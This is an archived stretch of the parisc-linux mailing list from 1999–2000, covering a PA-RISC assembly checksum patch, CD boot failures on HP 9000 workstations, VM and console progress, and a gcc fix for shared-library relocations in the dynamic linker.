Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA08877
	for <parisc-linux@puffin.external.hp.com>; Sun, 22 Oct 2000 15:20:31 -0600
Original-Received: (qmail 3969 invoked by uid 15267); 22 Oct 2000 21:21:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3951 invoked from network); 22 Oct 2000 21:21:50 -0000
Original-Received: from phnxpop5.phnx.uswest.net (206.80.192.5)
  by mailserv2.iuinc.com with SMTP; 22 Oct 2000 21:21:50 -0000
Original-Received: (qmail 71569 invoked by alias); 22 Oct 2000 21:21:47 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 71544 invoked by uid 0); 22 Oct 2000 21:21:46 -0000
Original-Received: from dslpppa54.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.55)
  by phnxpop5.phnx.uswest.net with SMTP; 22 Oct 2000 21:21:46 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13nSYl-0008IR-00; Sun, 22 Oct 2000 14:21:39 -0700
User-Agent: Mutt/1.0.1i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8183

After all the assembly questions yesterday, I offer you my first patch
:-)

here's a patch to implement ip_fast_csum in
include/asm-parisc/checksum.h. In my simple tests it's about 4x faster
than the original implementation.

I've also been working on the other checksum routines (csum_partial and
friends) but they are not ready yet.

Any suggestions on how to further optimize this will be much
appreciated.

randolph

Index: checksum.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/checksum.h,v
retrieving revision 1.8
diff -u -r1.8 checksum.h
--- checksum.h	2000/08/04 17:29:12	1.8
+++ checksum.h	2000/10/22 21:16:30
@@ -52,12 +52,46 @@
 }
 
 /*
- *	FIXME: Needs to be optimized for IP headers,
- *	which always checksum on 4 octet boundaries.
+ *	Optimized for IP headers, which always checksum on 4 octet boundaries.
+ *
+ *	Written by Randolph Chung <tausq@debian.org>
  */
 static inline unsigned short ip_fast_csum(unsigned char * iph,
 					  unsigned int ihl) {
-	return ~csum_partial (iph, ihl << 2, 0);
+	unsigned int sum;
+
+
+	__asm__ __volatile__ ("
+	ldws,ma		4(%1), %0
+	addi		-4, %2, %2
+	comib,>=	0, %2, 2f
+	
+	ldws,ma		4(%1), %%r19
+	add		%0, %%r19, %0
+	ldws,ma		4(%1), %%r19
+	addc		%0, %%r19, %0
+	ldws,ma		4(%1), %%r19
+	addc		%0, %%r19, %0
+1:	ldws,ma		4(%1), %%r19
+	addib,<>	-1, %2, 1b
+	addc		%0, %%r19, %0
+	addc		%0, %%r0, %0
+
+	zdepi		-1, 31, 16, %%r19
+	and		%0, %%r19, %%r20
+	extru		%0, 15, 16, %%r21
+	add		%%r20, %%r21, %0
+	and		%0, %%r19, %%r20
+	extru		%0, 15, 16, %%r21
+	add		%%r20, %%r21, %0
+	subi		-1, %0, %0
+2:
+	"
+	: "=r" (sum), "=r" (iph), "=r" (ihl)
+	: "1" (iph), "2" (ihl)
+	: "r19", "r20", "r21" );
+
+	return(sum);
 }
 
 /*

-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Servio E. Cabrera" <servio.cabrera@mobilix.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD image does not recognize the SCSI Hard Drives! on C110
Date: Mon, 23 Oct 2000 10:34:16 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <818F6C8F771DD211B5EA0008C7FABF4B02BB1A95@ms08.mobilix.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619203 4938 80.91.229.3 (22 Nov 2014 01:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:03 +0000 (UTC)
To: "Parisc-Linux mailing list \(E-mail\)" <parisc-linux@thepuffingroup.com>
Original-X-From: servio.cabrera@mobilix.dk  Mon Oct 23 02:30:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA21588
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Oct 2000 02:30:52 -0600
Original-Received: (qmail 24781 invoked by uid 15267); 23 Oct 2000 08:32:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24766 invoked from network); 23 Oct 2000 08:32:15 -0000
Original-Received: from orbix.mobilix.dk (root@212.97.216.244)
  by mailserv2.iuinc.com with SMTP; 23 Oct 2000 08:32:15 -0000
Original-Received: from ms04.mobilix.dk (ms04.mobilix.dk [172.16.1.24])
	by orbix.mobilix.dk (8.11.0/8.11.0) with SMTP id e9N5VPq05455
	for <parisc-linux@thepuffingroup.com>; Mon, 23 Oct 2000 07:31:25 +0200
Original-Received: FROM ms07.mobilix.dk BY ms04.mobilix.dk ; Mon Oct 23 10:34:18 2000 +0100
Original-Received: by ms07.mobilix.dk with Internet Mail Service (5.5.2650.21)
	id <4ZHS4L50>; Mon, 23 Oct 2000 10:34:18 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8184

-----BEGIN PGP SIGNED MESSAGE-----


Hello:

I have booted the CD image on several machines and does not recognize
the SCSI HarD drive, the machine I have a HP9000 s700 / c110.
I perform a "fdisk /dev/sda" and it says "unable to open /dev/sda" I
have also done this:
#for q in /dev/sd* /dev/hd*
do
fdisk $q
done

I got unable to open .... for the all those device files

REgards


servio

- -

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

iQEVAwUBOfP3o1I12LBR8vnZAQHneQf/ZRnoIlh0oqI6xAO8zvo1VIf8ylMKEdTa
wTc47iiDYsZANAJnniBcJkuxJNkU8/LEURYtxNBICJU0FkrVZ5Pqf0XMi7sqh/uQ
5TkJKHkpIOur32UUEMUaVKSsCcg85KV5AFMiW34sHvnKPGXYBvCu67U7rFreL/0I
8Pgln09Y7vxchWccNSGp2vh8vVFrAfYXC8ah0gMBixFUufNpGFv6G+kl9z9rsNuM
9Bu3SIIY97ptVMpe4uD8bwhBGMFT2j5MWs4OR410RQxIVZhRLZSj9oZevdYgT7gw
ppy3lH+8RrzmdS0/pZpjbIStRYjDmeDSHV8T1NmPlyqzhsXQaLIXvQ==
=BPIF
-----END PGP SIGNATURE-----


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Paging now works
Date: Mon, 23 Oct 2000 06:56:34 -0600 (MDT)
Lines: 8
Approved: news@gmane.org
Message-ID: <200010231256.GAA09854@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619203 4943 80.91.229.3 (22 Nov 2014 01:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Oct 23 06:55:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA25502
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Oct 2000 06:55:09 -0600
Original-Received: (qmail 13951 invoked by uid 15267); 23 Oct 2000 12:56:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13944 invoked from network); 23 Oct 2000 12:56:37 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 23 Oct 2000 12:56:37 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id 14921D21
	for <parisc-linux@thepuffingroup.com>; Mon, 23 Oct 2000 08:56:35 -0400 (EDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id GAA09854 for parisc-linux@thepuffingroup.com; Mon, 23 Oct 2000 06:56:34 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8185

FYI,

My latest checkin fixes a variety of VM bugs, so you should probably
cvs update. In addition, paging now works reliably, so you can go
ahead and enable swap if you want to.

John


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD image does not recognize the SCSI Hard Drives! on C110
Date: Mon, 23 Oct 2000 09:50:38 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <200010231650.JAA18323@milano.cup.hp.com>
References: <818F6C8F771DD211B5EA0008C7FABF4B02BB1A95@ms08.mobilix.dk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619204 4946 80.91.229.3 (22 Nov 2014 01:20:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:04 +0000 (UTC)
Cc: "Parisc-Linux mailing list \(E-mail\)" <parisc-linux@thepuffingroup.com>
To: "Servio E. Cabrera" <servio.cabrera@mobilix.dk>
Original-X-From: grundler@cup.hp.com  Mon Oct 23 10:44:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA27041
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Oct 2000 10:44:39 -0600
Original-Received: (qmail 13078 invoked by uid 15267); 23 Oct 2000 16:46:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13066 invoked from network); 23 Oct 2000 16:46:03 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Oct 2000 16:46:03 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 5C0AD654; Mon, 23 Oct 2000 09:46:02 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA18323;
	Mon, 23 Oct 2000 09:50:40 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 23 Oct 2000 10:34:16 PDT."
             <818F6C8F771DD211B5EA0008C7FABF4B02BB1A95@ms08.mobilix.dk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8186

"Servio E. Cabrera" wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> Hello:
> 
> I have booted the CD image on several machines and does not recognize
> the SCSI HarD drive, the machine I have a HP9000 s700 / c110.

Hi Servio,
Just to be clear, is this the CD Image v0.1 dated August 4th, 2000?
(this was made especially for San Jose Linux World Expo)

If so, then you didn't see the printing on the CD we handed out:
 "Bootable on HP 712, A180, B180 and other systems"

"other" mostly means very old workstations (715/735/etc) and
excludes systems with an I/O MMU (any C, J, L, or N-class for example).

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A console and a term
Date: Mon, 23 Oct 2000 14:11:03 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <200010232111.OAA18829@milano.cup.hp.com>
References: <001301c03d32$5b423a60$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619205 4953 80.91.229.3 (22 Nov 2014 01:20:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Mon Oct 23 15:05:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA28860
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Oct 2000 15:04:59 -0600
Original-Received: (qmail 716 invoked by uid 15267); 23 Oct 2000 21:06:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 702 invoked from network); 23 Oct 2000 21:06:28 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Oct 2000 21:06:28 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 5849F7E; Mon, 23 Oct 2000 14:06:26 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA18829;
	Mon, 23 Oct 2000 14:11:05 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 23 Oct 2000 22:46:44 PDT."
             <001301c03d32$5b423a60$a832d793@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8187

"Thomas Marteau" wrote:
> Hi Grant,
> 
>     Just a word to tell you that we have now a console on STI and a term on
> our serial port of the 712. It is quite useful to debug the stdout.

Oh good! I was wondering how you guys were doing with the previous
round of advice...let me take a first whack at your following questions.
I've cc'd parisc-linux since I'll probably need to ne corrected. :^)

>     We have copied a terminfo directory into /usr/share. After that we type
> In the term: export TERM=vt100
> In the console: We have not found the good term yet because our screen is an
> A4032A and no term work with. If you have any hints...

I think TERM=linux was the right setting...console terminal emulation
may need fixing too though. I don't know.

> 
>     Also, we are interested in the keyboard and STI drivers but we do not
> have many docs on the subject. So, if you know a URL...

PS/2 keyboard is the standard driver - I'm sure a few of the keys are
mapped differently. I don't have a table of the scancodes. I suggest
looking at mklinux to see how they handle it.

STI document is published on
	http://www.thepuffingroup.com/parisc/documentation.html

I only have a vague idea of what STI really is and what it supports.


>     It is fun to view TOP and VI work. Finally, can you tell us what kind of
> technical feedback you'd like from us. Would you be interested in our
> precise advancement or is the website enough for that (we are planning to
> integrate a sort of Logfile page with the history of all the events which
> occured since the beginning)?

Well, whenever you change any kernel sources and make something more
useful, please post the patch to parisc-linux mailing list. Or post a
URL which points to the patch. Note that we really want to only
fix stuff in arch/parisc* and include/asm-parisc* if we can help it.
(The issue is we'd like to merge into Linus' tree this year and don't
want generic code changes to hold up the process.)

If it gets to be a problem (too many good patches), you will get write
access to the CVS repository.

cheers,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some things to do...
Date: 16 Apr 1999 13:16:12 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <r2k8vcpbhv.fsf@happy.cygnus.com>
References: <Pine.LNX.3.96.990416155029.27211L-100000@devserv.devel.redhat.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619205 4957 80.91.229.3 (22 Nov 2014 01:20:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: drepper@cygnus.com  Fri Apr 16 16:16:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA16804
	for <parisc-linux@sod.res.cmu.edu>; Fri, 16 Apr 1999 16:16:48 -0400
Original-Received: (qmail 28179 invoked by uid 15267); 16 Apr 1999 20:15:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28165 invoked from network); 16 Apr 1999 20:15:26 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 16 Apr 1999 20:15:26 -0000
Original-Received: from happy.cygnus.com (happy.cygnus.com [205.180.230.206])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id NAA25032;
	Fri, 16 Apr 1999 13:16:21 -0700 (PDT)
Original-Received: (drepper@localhost) by happy.cygnus.com (8.8.7/8.6.4) id NAA18713; Fri, 16 Apr 1999 13:16:12 -0700
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alex deVries's message of "Fri, 16 Apr 1999 16:01:45 -0400 (EDT)"
Original-Lines: 21
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8188

Alex deVries <adevries@redhat.com> writes:

> 1. Fixing binutils
> 
> There's problems with binutils and linking.  I can't tell you precisely
> what because I don't understnad it myself.  I know we need to resolve the
> ELF situation.  Ulrich, comments on this?

I certainly need this ASAP but won't make a comment until I've seen
the code.  This can't happen until after Apr 25th (I'll be gone next
week).

> [name aliases...]
> Comments on how to do this from Cygnus would be appreciated.

Talk to Ben Elliston <bje@cygnus.com> the autoconf maintainer.

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jim Buttafuoco <jim@buttafuoco.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot problems with CD image
Date: Mon, 23 Oct 2000 20:07:53 -0400
Lines: 90
Approved: news@gmane.org
Message-ID: <39F4D2D9.3646D1@buttafuoco.org>
Reply-To: jim@buttafuoco.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619206 4961 80.91.229.3 (22 Nov 2014 01:20:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:06 +0000 (UTC)
To: PARISC-LINUX Mailing List <parisc-linux@thepuffingroup.com>
Original-X-From: jim@buttafuoco.org  Mon Oct 23 18:06:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA30394
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Oct 2000 18:06:27 -0600
Original-Received: (qmail 23408 invoked by uid 15267); 24 Oct 2000 00:07:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23388 invoked from network); 24 Oct 2000 00:07:54 -0000
Original-Received: from 3ff839a7.dsl.flashcom.net (HELO p2.buttafuoco.net) (63.248.57.167)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 00:07:54 -0000
Original-Received: from buttafuoco.org (p2.buttafuoco.net [192.1.3.2])
	by p2.buttafuoco.net (8.9.3/8.9.3) with ESMTP id UAA30207
	for <parisc-linux@thepuffingroup.com>; Mon, 23 Oct 2000 20:07:53 -0400
Original-Sender: jim@p2.buttafuoco.net
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8189

Hi,

    I downloaded the CD image from the FTP site in order to boot my 710
system.  It failed, attached is the output from the serial port.

Any ideas????

Thanks
Jim



.

Booting from:     scsi.0.0     PLEXTOR CD-ROM PX-12TS

Hard booted.
palo ipl bame@noam Fri Aug  4 18:36:35 MDT 2000
0/vmlinux 2349352 bytes @ 0x6e8800
0/palo-cmdline '0/vmlinux TERM=linux HOME=/ root=/dev/scd0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1511580 mediaptr 0x1000
Segment 1 load 00272000 size 132368 mediaptr 0x173000
Segment 2 load 00294000 size 86880 mediaptr 0x194000
Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
branching to kernel entry point 0x00100000
pdc_cons registered !
The Kernel has started...
Free memory starts at: 0xc02dc000
PALO command line: 'TERM=linux HOME=/ root=/dev/scd0'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00003000 00000481 00000000 00000000 77ed7152 00000000 00000004
0000000d 00000000
vers    00000003
CPUID vers 0 rev 0
CPU(s): 1 x PA7000 at 50.000000 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
0x77, 0x0, 0x0
2. Bushmaster Core BA (11) at 0xf082f000, versions 0x6, 0x0, 0x70, 0x0,
0x0
3. Bushmaster Core SCSI (10) at 0xf0825000, versions 0x6, 0x0, 0x71,
0x0, 0x0
4. Bushmaster Core LAN (802.3) (10) at 0xf0826000, versions 0x6, 0x0,
0x72, 0x0, 0x0
5. Bushmaster Core HIL (10) at 0xf0821000, versions 0x6, 0x0, 0x73, 0x0,
0x0
6. Bushmaster Core RS-232 (10) at 0xf0823000, versions 0x6, 0x0, 0x75,
0x0, 0x0
7. Bushmaster Core RS-232 (10) at 0xf0822000, versions 0x6, 0x0, 0x75,
0x0, 0x0
8. Bushmaster Core Centronics (10) at 0xf0824000, versions 0x6, 0x0,
0x74, 0x0, 0x0
9. Bushmaster Audio (10) at 0xf1000000, versions 0x6, 0x0, 0x7a, 0x0,
0x0
10. Bushmaster (710) (0) at 0xfffbe000, versions 0x300, 0x0, 0x4, 0x0,
0x81
11. Bushmaster (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0
That's a total of 11 devices.
Linux version 2.3.99-pre8 (bame@noam) (gcc version 2.96 20000707
(experimental)) #24 Fri Aug 4 18:27:58 MDT 2000
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 8192
zone(0): 4096 pages.
zone(1): 4096 pages.
zone(2): 0 pages.
trap_init
error reading tod clock
Calibrating delay loop... 46.08 BogoMIPS
Memory: 29224k available
Dentry-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 8192 (order: 3, 32768 bytes)
kmem_create: Poisoning requested, but con given - bdev_cache
Inode-cache hash table entries: 2048 (order: 2, 16384 bytes)
kmem_create: Poisoning requested, but con given - inode_cache
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
request_irq(259, c01ec76c, 0x0, asp, c1fe4080)
^^^^^
          |--------This is where it stops...




From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug in shared libraries
Date: Tue, 24 Oct 2000 16:02:19 +1100 (EST)
Lines: 79
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010241541510.11525-100000@front.linuxcare.com.au>
References: <8766mn1qv0.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619206 4964 80.91.229.3 (22 Nov 2014 01:20:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:06 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Mon Oct 23 23:02:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA32228
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Oct 2000 23:02:22 -0600
Original-Received: (qmail 8583 invoked by uid 15267); 24 Oct 2000 05:03:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8555 invoked from network); 24 Oct 2000 05:03:48 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 05:03:48 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA04366;
	Tue, 24 Oct 2000 16:02:19 +1100
In-Reply-To: <8766mn1qv0.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8190

On 20 Oct 2000, David Huggins-Daines wrote:

> John Marvin <jsm@udlkern.fc.hp.com> writes:
> 
> > Here is a partial dump from ld-2.1.94.so. The instruction at offset 3c60
> > below, "stw r6,0(r7)", is the first faulting instruction that is attempting
> > to write into its own .rodata section. Once this is fixed, there may
> > be others.
> 
> Yes, I know what this is now.  The problem is that the compiler places
> static PLABELs in .rodata instead of .data.  This doesn't cause any
> problems for static executables since all the relocations on these
> PLABELs will be resolved in the final link.  However when building
> shared objects they will get emitted as dynamic relocations.
> 
> That's actually not supposed to make the dynamic linker crash though,
> because the linker will set a flag (and create a dynamic tag) to
> indicate that the read-only segments in the object should be remapped
> read-write during relocation processing.
> 
> I wonder if the problem is actually that the call to mprotect() that
> ld.so makes in order to remap its text segment read-write is failing,
> or not having the desired effect.

The problem occurs when ld.so is relocating itself, ie. during
ELF_DYNAMIC_RELOCATE (&bootstrap_map, 0, 0).  I looked at fixing the
dynamic linker, but it's a complete pain to do as a lot of things aren't
set up at bootstrap stage.  _Much_ easier to fix the compiler as per the
following diff.  I've tested this on hppa-linux, and a newly built glibc
has no .rela.rodata in ld.so or libc.so.

Alan
-- 
Linuxcare.  Support for the Revolution.


Index: gcc/config/pa/pa-linux.h
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/config/pa/pa-linux.h,v
retrieving revision 1.12
diff -u -p -r1.12 pa-linux.h
--- pa-linux.h	2000/10/11 20:38:49	1.12
+++ pa-linux.h	2000/10/24 04:51:08
@@ -146,6 +146,13 @@ while (0)
   else                                                          \
     fprintf (FILE, "\tb .L%d\n\tnop\n", VALUE)
 
+#undef SELECT_RTX_SECTION
+#define SELECT_RTX_SECTION(MODE,RTX)	\
+  if (flag_pic && function_label_operand (RTX, MODE))	\
+    data_section ();					\
+  else							\
+    readonly_data_section ();
+
 /* FIXME: The Linux/parisc gas does not enjoy labels without colons.
    We haven't really decided on all the details of our assembly
    dialect, and the ELF and Linux configuration we 'mix in' here does
Index: gcc/config/pa/pa-linux64.h
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/config/pa/pa-linux64.h,v
retrieving revision 1.4
diff -u -p -r1.4 pa-linux64.h
--- pa-linux64.h	2000/10/11 20:38:49	1.4
+++ pa-linux64.h	2000/10/24 04:51:08
@@ -213,6 +213,13 @@ do {  \
 #undef STATIC_CHAIN_REGNUM
 #define STATIC_CHAIN_REGNUM 31
 
+#undef SELECT_RTX_SECTION
+#define SELECT_RTX_SECTION(MODE,RTX)	\
+  if (flag_pic && function_label_operand (RTX, MODE))	\
+    data_section ();					\
+  else							\
+    readonly_data_section ();
+
 /* This is not needed for correct operation in 32bit mode, and since
    older versions of gas and the hpux assembler do not accept .dword
    we put this here instead of the more logical location, pa.h.  */


From - Thu Nov 08 21:13:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug in shared libraries
Date: Tue, 24 Oct 2000 17:19:17 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010241707160.11525-100000@front.linuxcare.com.au>
